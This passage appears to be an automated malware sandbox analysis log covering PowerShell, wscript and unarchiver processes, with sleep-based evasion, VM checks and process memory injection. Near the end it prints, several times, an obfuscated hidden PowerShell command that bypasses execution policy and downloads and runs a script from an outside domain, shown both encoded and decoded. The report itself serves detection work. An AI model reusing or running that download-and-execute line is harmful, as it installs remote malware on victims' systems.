Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\unarchiver.exe TID: 6652	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe TID: 4188	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe TID: 6172	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6456	Thread sleep count: 4024 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6456	Thread sleep count: 1735 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4676	Thread sleep time: -15679732462653109s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1552	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6248	Thread sleep count: 3890 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6248	Thread sleep count: 1544 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5696	Thread sleep time: -17524406870024063s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3712	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5900	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6672	Thread sleep count: 3260 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6672	Thread sleep count: 5670 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6468	Thread sleep time: -10145709240540247s >= -30000s

Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4024
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1735
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3890
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1544
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3260
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5670

Source: C:\Windows\SysWOW64\cmd.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor

Source: C:\Windows\SysWOW64\cmd.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT HypervisorPresent FROM Win32_ComputerSystem

Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\unarchiver.exe

Code function: 7_2_0105B042 GetSystemInfo,

7_2_0105B042

Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 0000001E.00000002.428658588.0000000004E12000.00000004.00000001.sdmp	Binary or memory string: Pm:C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-V
Source: powershell.exe, 00000027.00000002.456769606.00000000080A7000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllt
Source: powershell.exe, 0000001E.00000003.421094335.0000000007A21000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\SysWOW64\unarchiver.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Yara detected Powershell download and execute

Show sources

Source: Yara match	File source: amsi32_5648.amsi.csv, type: OTHER
Source: Yara match	File source: amsi32_6268.amsi.csv, type: OTHER
Source: Yara match	File source: amsi32_6208.amsi.csv, type: OTHER
Source: Yara match	File source: C:\Users\user\Documents\20211018\PowerShell_transcript.610930.3wwpsSEZ.20211018224633.txt, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\20211018\PowerShell_transcript.610930.OeKRHfkQ.20211018224629.txt, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\20211018\PowerShell_transcript.610930.D04HlV6H.20211018224618.txt, type: DROPPED

Writes to foreign memory regions

Show sources

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C8970000	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C8982020	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FFA9B87AA20	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C8982060	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FFA9B87A5E0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C89820A0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FFA9B87A720	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C89820E0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FFA9B87C730	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C8982120	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FFA9B87A460	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C8982160	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FFA9B87A8C0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C89821A0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FFA9B87C450	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C89821E0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FFA9B87A440	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C8982220	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FFA9B87C390	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C8982260	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FFA9B87A120	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C89822A0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FFA9B87A400	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C89822E0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FFA9B87A580	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C8982320	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FFA9B87A560	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C8982360	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FFA9B87A480	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C89823A0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FFA9B87A4C0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C8982000	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FF677E312B0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FF677E31448	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FF677E2FF78	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 1F6C8990000	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FF677E30EC8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FF677E2FF70	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FF677E30EE0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FF677E30EE8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FF677E2B674	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Memory written: C:\Windows\SysWOW64\unarchiver.exe base: 7FF677E30040	Jump to behavior

Bypasses PowerShell execution policy

Show sources

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=

Encrypted powershell cmdline option found

Show sources

Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded IEX (New-Object Net.Webclient).downloadstring("http://moseronado.top/333g100/index.php")
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded IEX (New-Object Net.Webclient).downloadstring("http://moseronado.top/333g100/index.php")
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded IEX (New-Object Net.Webclient).downloadstring("http://moseronado.top/333g100/index.php")
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded IEX (New-Object Net.Webclient).downloadstring("http://moseronado.top/333g100/index.php")
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded IEX (New-Object Net.Webclient).downloadstring("http://moseronado.top/333g100/index.php")
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded IEX (New-Object Net.Webclient).downloadstring("http://moseronado.top/333g100/index.php")

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
